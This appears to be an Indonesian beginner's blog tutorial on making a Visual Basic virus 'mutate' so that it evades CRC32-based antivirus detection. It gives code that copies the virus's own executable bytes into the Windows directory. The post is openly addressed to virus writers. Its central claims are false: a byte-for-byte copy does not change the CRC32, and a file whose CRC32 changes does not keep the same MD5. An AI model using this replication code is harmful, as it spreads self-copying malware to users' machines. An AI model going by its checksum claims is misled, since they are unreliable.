tehnik mutasi virus

Aku sarankan bagi kalian yang udah master jangan baca tutorial ini.
Just for newbie!


Oke langsung aja. Aku akan menjelaskan bagaimana sebuah virus memiliki lebih dari satu crc32. Dan yang pasti virus ini akan lolos dari cengkeraman antivirus yang berbasis crc32. (Nampaknya artikel ini bikin kontroversi aja!)

Agar sebuah virus punya banyak crc32 dan md5, virus tak membutuhkan �Filecopy� untuk berduplikasi atau dengan kata lain beranak-cucu.

Sekarang tinggalkan kebiasaanmu menggunakan �Filecopy� untuk duplikasi virus. Sekarang ada cara baru dan aku yakin udah banyak master virus yang tahu soal ini.
Biasanya dulu kamu diajari oleh �nenek moyangmu� untuk menduplikasikan virus dengan kode berikut ini:

Quote:Filecopy App.path & �\� & App.EXEName & �.exe�, bla bla bla & �.exe�

Otomatis dengan cara itu, virus cuma punya satu crc32 saja!
Tapi gimana kalau dengan kode dibawah ini:

Code:

Function MutasiKe (Lokasi As String)
ReDim KodeVirus(FileLen(App.Path & �\� & App.EXEName & �.exe�))As Byte
Open App.Path & �\� & App.EXEName & �.exe� For Binary As #1
Get #1, , KodeVirus
Close #1
Open Lokasi For Binary As #1
Put #1, , KodeVirus
Close #1
End Function
Private Sub Form_Load()
Bla bla bla�.
MutasiKe Environ$(�windir�) & �\Yooooo.exe�
End Sub

Dengan kode ini pasti crc32 virus induk dengan virus anak punya crc32 yang berbeda. Memang kejahatan IT selalu berkembang, Bung!! (Aku ngutip omongan seseorang(aku lupa orangnya siapa))
Tapi selalu saja ada yang bisa menangkal kejahatan!
Misalnya untuk mengatasi masalah virus (yang udah pake cara diatas) bisa dengan cara MD5. Meskipun crc32 berbeda, tapi MD5-nya tetap sama!
Bahkan lebih dari 10 crc32 sekalipun, tetap saja MD5-nya sama!

Mungkin sekian tutorial saya, Thanks buat newbie dan para master yang udah baca!!!

SHARE

Author

hai saya farland.seseorang yg sedang memahami dan menikmati dunia blog... I'am Blogger and Javascript Programmer.

• 
• 
• 
• 
•